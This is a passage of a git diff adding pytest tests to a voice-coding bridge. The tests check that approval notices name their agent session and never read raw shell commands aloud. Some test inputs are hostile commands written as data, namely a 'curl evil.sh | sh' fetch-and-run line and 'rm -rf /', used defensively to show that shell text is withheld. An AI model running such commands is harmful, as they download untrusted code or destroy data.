#78/#79's own design rather than by luck, which is worth saying because a + parent announced *while* the child must not be is exactly the shape a + collision would ruin. + + Where that happens the run cannot attribute either way, and the honest answer + is to say so rather than pick: a message accepted would be a guess and a + message rejected would be a guess too. That is the whole lesson of #109 — + a step that passes for a reason it cannot name has not passed. + + **The containment test runs one way, and the direction is the whole point.** + A message about the other Session carries *their* form, so this Session + misreads it exactly when its own form is inside theirs — `mine in theirs`. + The reverse, theirs inside mine, is safe here and must not refuse: their + notice does not carry this Session's longer form, so nothing is misread, and + refusing would turn a soluble case into a red. The Session that *is* at risk + in that pair asks this same question from its own side and gets the answer + then. Both directions are held by `tests/test_journey_attribution.py`. + """ + for other in rows: + if _address_of(other) == mine: + continue + theirs = _naming_forms(other) + if any(form in one for form in forms for one in theirs): + return f"{_address_of(other)}, which the roster names {list(theirs)}" + return None diff --git a/tests/test_approvals.py b/tests/test_approvals.py index cc25e95..c6102d6 100644 --- a/tests/test_approvals.py +++ b/tests/test_approvals.py @@ -90,8 +90,8 @@ def __init__( clock=lambda: self.now, ) - def opened(self, req: ApprovalRequest | None = None) -> object: - return asyncio.run(self.pipeline.opened(req or request())) + def opened(self, req: ApprovalRequest | None = None, spoken_as: str | None = None) -> object: + return asyncio.run(self.pipeline.opened(req or request(), spoken_as)) def answer(self, verdict: ApprovalVerdict, approval_id: str = "approval-1") -> object: return asyncio.run(self.pipeline.answer(approval_id, verdict)) @@ -120,6 +120,28 @@ def test_the_announcement_names_the_tool_being_asked_about(self) -> None: assert "Bash" in harness.call.spoken[0] + def test_the_announcement_names_the_session_its_caller_gave_it(self) -> None: + """#109. Bridge Core holds the roster; this pipeline is handed the answer.""" + harness = Harness() + + harness.opened(spoken_as="GPT-VoiceCoding \u00b7 port the log") + + assert harness.call.spoken[0].startswith("GPT-VoiceCoding \u00b7 port the log is waiting") + + def test_a_caller_with_no_name_to_give_still_names_the_session(self) -> None: + """The address is the floor `spoken_name` itself falls back to. + + The parameter is optional, and what makes that safe is that its default + is not "say nothing": a notice reading "a session is waiting for your + permission" is the one this pipeline may never send, because it is the + one the user cannot act on (#109). + """ + harness = Harness() + + harness.opened() + + assert harness.call.spoken[0].startswith("codex abc is waiting") + def test_it_rides_the_escalation_pipeline_rather_than_its_own_flow(self) -> None: """With no outlet at all it is retained, exactly like any other notice.""" harness = Harness(duty=False) diff --git a/tests/test_bridge.py b/tests/test_bridge.py index dbbd895..8b6bd36 100644 --- a/tests/test_bridge.py +++ b/tests/test_bridge.py @@ -466,7 +466,9 @@ async def watch() -> list[str]: await escalating return pushed - assert asyncio.run(watch()) == ["a session is waiting for your permission to use Bash"] + assert asyncio.run(watch()) == [ + "GPT-VoiceCoding \u00b7 port the log is waiting for your permission to use Bash" + ] class TestEventsThatDecideNothing: @@ -659,7 +661,8 @@ def test_a_dialog_the_approval_pipeline_holds_announces_once(self) -> None: ) assert hub.channel.sent == [ - "a session is waiting for your permission to use Bash — push the branch" + "GPT-VoiceCoding \u00b7 port the log is waiting for your permission to use Bash " + "\u2014 push the branch" ] def test_the_suppressed_stop_is_written_down_rather_than_dropped_silently(self, caplog) -> None: @@ -726,3 +729,61 @@ def test_a_stop_that_needs_nobody_is_announced_as_before(self) -> None: hub.emit(SessionStopped(target=CODEX)) assert len(hub.channel.sent) == 1 + + +class TestEveryNoticeNamesTheSessionItIsAbout: + """#109: on a machine bridging every Session, an unnamed notice is unanswerable. + + The Stop Notice always named its Session; the Approval Relay's announcement + opened "a session is waiting…" and named only the tool. That is the notice + carrying a budget and a `bridgectl approve` — the *most* answerable thing the + product says, and the only one that did not say which Session it was about. + It cost an acceptance run (`20260826T213402Z`), where a stranger's permission + prompt was indistinguishable from the lane's own. + + Legacy: **ported** from `legacy@1d32845:bridge/host.py:213-235`, which + rendered `Session: {session_label}` above "This session is waiting for + permission." + """ + + #: The one target the Hub does not register, so `_known` answers None and the + #: address floor is what the notice has to fall back on. + STRANGER = SessionTarget(agent=AgentKind.CODEX, session_id="not-in-the-roster") + + def test_the_announcement_names_the_session_the_way_the_user_does(self) -> None: + hub = Hub(voice=False) + + hub.emit(AwaitingApproval(request=ApprovalRequest("a1", CODEX, "Bash"))) + + (announcement,) = hub.channel.sent + assert announcement.startswith("GPT-VoiceCoding · port the log is waiting") + + def test_both_notices_call_one_session_the_same_thing(self) -> None: + """One answer to "what is this called", or the user hears two Sessions.""" + hub = Hub(voice=False) + + hub.emit(AwaitingApproval(request=ApprovalRequest("a1", CODEX, "Bash"))) + hub.emit(SessionStopped(target=CODEX)) + + announcement, stop_notice = hub.channel.sent + called = "GPT-VoiceCoding · port the log" + assert announcement.startswith(called) and stop_notice.startswith(called) + + def test_a_session_the_roster_does_not_hold_is_named_by_its_address(self) -> None: + """The floor `spoken_name` itself falls back to — never "a session".""" + hub = Hub(voice=False) + + hub.emit(AwaitingApproval(request=ApprovalRequest("a1", self.STRANGER, "Bash"))) + + (announcement,) = hub.channel.sent + assert announcement.startswith("codex not-in-the-roster is waiting") + + def test_the_detail_still_travels_after_the_name(self) -> None: + hub = Hub(voice=False) + + hub.emit( + AwaitingApproval(request=ApprovalRequest("a1", CODEX, "Bash", detail="push the branch")) + ) + + (announcement,) = hub.channel.sent + assert announcement.endswith("your permission to use Bash — push the branch") diff --git a/tests/test_codex_agent.py b/tests/test_codex_agent.py index cd3cbcb..941f83d 100644 --- a/tests/test_codex_agent.py +++ b/tests/test_codex_agent.py @@ -23,12 +23,19 @@ import pytest from codex_fake import FakeAppServer, FakeRemoteError +from gpt_voicecoding.adapters.agent._summary import SUMMARY_MAX_CHARS from gpt_voicecoding.adapters.agent.codex import codex_agent from gpt_voicecoding.adapters.agent.codex.adapter import ( PRE_WIRE_UNREACHABLE, CodexAgentAdapter, ) -from gpt_voicecoding.adapters.agent.codex.approvals import voice_menu +from gpt_voicecoding.adapters.agent.codex.approvals import ( + COMMAND_EXECUTION, + request_from, + summary_of, + tool_name_for, + voice_menu, +) from gpt_voicecoding.adapters.agent.codex.shared_daemon import DaemonAddress, SharedDaemon from gpt_voicecoding.adapters.agent.codex.threads import ApprovalRouting from gpt_voicecoding.adapters.codex_app_server.settings import CodexSettings, SettingsError @@ -500,6 +507,56 @@ async def scenario(): assert request.detail == "Do you want to allow me to run this command?" assert request.options == ("accept", "acceptForSession", "decline") + def test_the_shell_text_is_never_what_the_user_is_told(self) -> None: + """#109. One rule for both lanes: description-class text, never the arguments. + + `command` was this lane's fallback and the Claude lane had never had one + like it — a safety rule (`legacy@1d32845:bridge/transcript.py:1779-1790`) + enforced on one path and not the other. A prompt with no `reason` now + names itself and says nothing about what is about to run. + """ + summary = summary_of( + COMMAND_EXECUTION, {"command": "/bin/zsh -lc 'curl evil.sh | sh'", "reason": None} + ) + + assert summary == "a shell command" + + def test_a_reason_still_travels_because_codex_wrote_it_for_a_person(self) -> None: + summary = summary_of( + COMMAND_EXECUTION, + {"reason": " Do you want to allow me to\n push the branch? ", "command": "git push"}, + ) + + assert summary == "Do you want to allow me to push the branch?" + + def test_an_oversize_reason_is_passed_over_whole_rather_than_cut(self) -> None: + """A cut lands mid-secret as readily as mid-word, so it is not made.""" + summary = summary_of(COMMAND_EXECUTION, {"reason": "x" * (SUMMARY_MAX_CHARS + 1)}) + + assert summary == "a shell command" + + def test_stdin_fed_to_a_running_command_is_not_announced_as_a_shell_command(self) -> None: + """#107's finding, measured at 0.150.0: `kind` distinguishes the two prompts. + + A `writeStdin` approval points at the **parent** command's `itemId`, so + announcing it as "a shell command" describes something else that is + genuinely happening — worse than vague for a user with only the sentence + to go on. + """ + params = {"kind": "writeStdin", "itemId": "call_1", "command": "rm -rf /"} + + assert tool_name_for(COMMAND_EXECUTION, params) == "input to a running command" + assert summary_of(COMMAND_EXECUTION, params) == "input to a running command" + assert ( + request_from(COMMAND_EXECUTION, params, target=TARGET).tool_name + == "input to a running command" + ) + + def test_an_absent_kind_is_still_a_shell_command(self) -> None: + """0.149.1 sends no `kind` at all; 0.150.0 defaults it to `command`.""" + assert tool_name_for(COMMAND_EXECUTION, {"itemId": "call_1"}) == "a shell command" + assert tool_name_for(COMMAND_EXECUTION, {"kind": "command"}) == "a shell command" + def test_the_voice_menu_never_offers_a_grant_that_outlives_the_session(self) -> None: """The ceiling is `acceptForSession`; a persistent rule is not offerable.""" offered = voice_menu( @@ -1276,7 +1333,13 @@ async def scenario(): request = asyncio.run(scenario()) assert request.target == TARGET - assert "rm -rf build" in request.detail + # The shell text does **not** travel (#109). It reached the user until + # then, on the one lane whose extractor was not the shared one: a summary + # is description-class text only, and `command` is what + # `legacy@1d32845:bridge/transcript.py:1779-1790` keeps out of anything + # read aloud. With no `reason` the prompt names itself and no more. + assert "rm -rf build" not in request.detail + assert request.detail == "a shell command" class TestWhatACodexRowSaysItStoppedOn: @@ -1309,7 +1372,9 @@ async def scenario(): row = asyncio.run(scenario()) assert row.waiting_for.kind is WaitingKind.PERMISSION assert row.waiting_for.tool_name == "a shell command" - assert "rm -rf build" in (row.waiting_for.detail or "") + # Same rule on the roster row as in the announcement — one extractor + # builds both, which is why it could only ever be one answer (#109). + assert "rm -rf build" not in (row.waiting_for.detail or "") def test_the_row_carries_the_handle_the_verdict_is_answered_with( self, socket_path: Path diff --git a/tests/test_journey_attribution.py b/tests/test_journey_attribution.py new file mode 100644 index 0000000..aba91d4 --- /dev/null +++ b/tests/test_journey_attribution.py @@ -0,0 +1,261 @@ +"""The acceptance harness's attribution rule, held against the product's own words. + +`tests/acceptance/journey.py` states one rule for every step that reads the chat: +**a step only ever attributes what names its own target.** The rule exists because +the engine bridges every Session on the machine, so the chat is a shared surface — +on run `20260826T213402Z` the `stop notice` step passed on a permission prompt +belonging to a stale `/tmp/vcprobe` thread (#109). + +The rule rests on the harness knowing what the product would call a Session, and +`_naming_forms` mirrors `core/sessions.py:spoken_name`/`spoken_target` rather than +importing them — a harness that asked the product what it had said would agree +with the product by construction. Mirrors drift, and an acceptance run is an +expensive place to find out. So the tests below compose the product's **real** +notices, off a **real** roster row, and assert the harness attributes them. + +The acceptance run itself never reaches CI. This does, and it is what makes the +mirror a thing that breaks loudly rather than an acceptance step that goes quiet. +""" + +from __future__ import annotations + +from pathlib import Path + +import journey + +from gpt_voicecoding.control_plane.payloads import session_document +from gpt_voicecoding.core.approvals import announcement_for +from gpt_voicecoding.core.bridge import stop_notice_for +from gpt_voicecoding.core.sessions import Session, session_from +from gpt_voicecoding.seams.agent import ( + ApprovalRequest, + ChildClassification, + ChildKind, + SessionInspection, +) +from gpt_voicecoding.seams.identity import AgentKind, SessionName, SessionTarget + +MINE = SessionTarget(agent=AgentKind.CLAUDE, session_id="6f723f5c", pid=64312) +A_STRANGER = SessionTarget(agent=AgentKind.CODEX, session_id="01a04001", pid=95827) + +#: The message that made #109: a permission prompt from somebody else's Session, +#: taken verbatim off run `20260826T213402Z`'s journal. +THE_STRANGERS_PROMPT = ( + "a session is waiting for your permission to use a shell command — Do you want to " + "allow me to run exactly this one write command to create /tmp/vcprobe/approval-probe.txt?" +) + + +def session(target: SessionTarget = MINE, *, task: str | None = "port the log") -> Session: + return Session( + target=target, + name=SessionName("workspace-claude", task) if task is not None else None, + workspace=Path("/tmp/workspace"), + first_seen=0.0, + ) + + +def row(one: Session) -> dict: + """The roster row a surface reads, built the way the control plane builds it.""" + return session_document(one) + + +class TestWhatTheHarnessThinksNamesASession: + def test_a_named_session_is_named_by_its_session_name(self) -> None: + assert "workspace-claude · port the log" in journey._naming_forms(row(session())) + + def test_a_session_with_no_name_yet_falls_back_to_its_address(self) -> None: + """Measured: a Codex Session has no name until its first turn.""" + assert journey._naming_forms(row(session(task=None))) == ("claude 6f723f5c",) + + def test_a_session_with_no_id_yet_falls_back_to_its_pid(self) -> None: + """`spoken_target`'s own second fallback, mirrored — codex before its rollout.""" + bare = {"target": {"agent": "codex", "session_id": None, "pid": 95827}, "name": None} + + assert journey._naming_forms(bare) == ("codex pid 95827",) + + def test_a_row_that_names_nothing_yields_nothing_to_attribute_with(self) -> None: + """Not an empty pass: `_await_message_naming` refuses on this rather than waiting.""" + assert journey._naming_forms({}) == () + assert journey._naming_forms({"target": "not a mapping", "name": ""}) == () + + +class TestTheProductsOwnNoticesAreAttributable: + """Both notices Bridge Core composes, matched by the forms the harness derives.""" + + def test_a_stop_notice_names_the_session_it_is_about(self) -> None: + mine = session() + + notice = stop_notice_for(mine, mine.target) + + assert journey._named_in(notice, journey._naming_forms(row(mine))) + + def test_an_approval_announcement_names_the_session_it_is_about(self) -> None: + """#109's product half: until it, this sentence named only the tool.""" + mine = session() + + announcement = announcement_for( + ApprovalRequest("a1", mine.target, "Write", detail="relay.txt"), + spoken_as="workspace-claude · port the log", + ) + + assert journey._named_in(announcement, journey._naming_forms(row(mine))) + + def test_an_unnamed_session_is_still_attributable_by_its_address(self) -> None: + anonymous = session(task=None) + + notice = stop_notice_for(anonymous, anonymous.target) + + assert journey._named_in(notice, journey._naming_forms(row(anonymous))) + + +class TestWhatTheHarnessMustNotAttributeToItself: + def test_the_message_that_made_109_is_not_this_lanes_stop(self) -> None: + assert not journey._named_in(THE_STRANGERS_PROMPT, journey._naming_forms(row(session()))) + + def test_another_sessions_stop_notice_is_not_this_lanes_either(self) -> None: + """The shape a quieter machine produces: a real notice, about someone else.""" + theirs = Session( + target=A_STRANGER, + name=SessionName("workspace-codex", "some other work"), + workspace=Path("/tmp/elsewhere"), + first_seen=0.0, + ) + + notice = stop_notice_for(theirs, theirs.target) + + assert journey._named_in(notice, journey._naming_forms(row(theirs))) + assert not journey._named_in(notice, journey._naming_forms(row(session()))) + + def test_a_child_and_its_parent_are_told_apart(self) -> None: + """#79's step asserts an absence about the child while the parent is announced.""" + parent = session() + child = session( + target=SessionTarget(agent=AgentKind.CLAUDE, session_id="9a11bd2e", pid=64399), + task=None, + ) + + parents_notice = stop_notice_for(parent, parent.target) + + assert not journey._named_in(parents_notice, journey._naming_forms(row(child))) + + +class TestTwoSessionsTheChatCannotTellApart: + """Nothing makes a Session Name unique, so the harness has to notice when one is not. + + `adapters/agent/_naming.py` composes ` · ` from a project and a + task and checks neither against the other rows, so two Sessions on one machine + can be called the same thing. The product already knows this: `match_name` + refuses with `AmbiguousNameError` rather than picking one + (`core/sessions.py:456-463`). These are the same fact met from the chat. + + **A Child Process and its parent are not such a pair**, and the test below + says why: `core/sessions.py:225` keeps `name` for main Sessions and gives a + child `None`, so a child's only naming form is its address. + """ + + def test_a_child_has_no_name_to_collide_with_its_parents(self) -> None: + """#78/#79's design, taken through the product's own path rather than asserted. + + The lane offers the child a name; `session_from` refuses it because a + Child Process is listed and never spoken to (`core/sessions.py:137-143`, + `215-231`). So its only naming form is its address. + """ + parent = session() + seen_as_a_child = SessionInspection( + target=SessionTarget(agent=AgentKind.CLAUDE, session_id="9a11bd2e", pid=64399), + workspace=Path("/tmp/workspace"), + # The lane offering exactly its parent's name is the collision this + # would be, if the product let a child keep one. + name=SessionName("workspace-claude", "port the log"), + child=ChildClassification(kind=ChildKind.CHILD, parent=parent.target), + ) + + child = session_from(seen_as_a_child, first_seen=0.0) + + assert row(child)["name"] is None + assert journey._naming_forms(row(child)) == ("claude 9a11bd2e",) + assert ( + journey._indistinguishable_from( + journey._naming_forms(row(child)), + [row(parent), row(child)], + journey._address_of(row(child)), + ) + is None + ) + + def test_a_name_two_sessions_share_is_refused_rather_than_guessed(self) -> None: + parent = session() + twin = session( + target=SessionTarget(agent=AgentKind.CLAUDE, session_id="9a11bd2e", pid=64399) + ) + rows = [row(parent), row(twin)] + + shared = journey._indistinguishable_from( + journey._naming_forms(row(parent)), rows, journey._address_of(row(parent)) + ) + + assert shared is not None and "claude:9a11bd2e" in shared + + def test_the_session_with_the_shorter_name_is_the_one_at_risk(self) -> None: + """`· port` is inside `· port the log`, so the long Session's notice reads as short's.""" + short = session(task="port") + long = session(target=SessionTarget(agent=AgentKind.CODEX, session_id="abc")) + rows = [row(short), row(long)] + + shared = journey._indistinguishable_from( + journey._naming_forms(row(short)), rows, journey._address_of(row(short)) + ) + + assert shared is not None + assert journey._named_in( + stop_notice_for(long, long.target), journey._naming_forms(row(short)) + ) + + def test_the_session_with_the_longer_name_is_not_refused(self) -> None: + """The direction matters, and refusing both ways would be a red for nothing. + + A notice about the short-named Session does not carry the long one's name, + so the long one misreads nothing and has no reason to stop. The Session + that *is* at risk in this pair asks the same question from its own side — + the test above — and gets the refusal there. + """ + short = session(task="port") + long = session(target=SessionTarget(agent=AgentKind.CODEX, session_id="abc")) + rows = [row(short), row(long)] + + shared = journey._indistinguishable_from( + journey._naming_forms(row(long)), rows, journey._address_of(row(long)) + ) + + assert shared is None + assert not journey._named_in( + stop_notice_for(short, short.target), journey._naming_forms(row(long)) + ) + + def test_distinct_sessions_are_not_refused(self) -> None: + mine = session() + theirs = Session( + target=A_STRANGER, + name=SessionName("workspace-codex", "some other work"), + workspace=Path("/tmp/elsewhere"), + first_seen=0.0, + ) + rows = [row(mine), row(theirs)] + + assert ( + journey._indistinguishable_from( + journey._naming_forms(row(mine)), rows, journey._address_of(row(mine)) + ) + is None + ) + + def test_a_session_is_never_indistinguishable_from_itself(self) -> None: + mine = session() + + assert ( + journey._indistinguishable_from( + journey._naming_forms(row(mine)), [row(mine)], journey._address_of(row(mine)) + ) + is None + )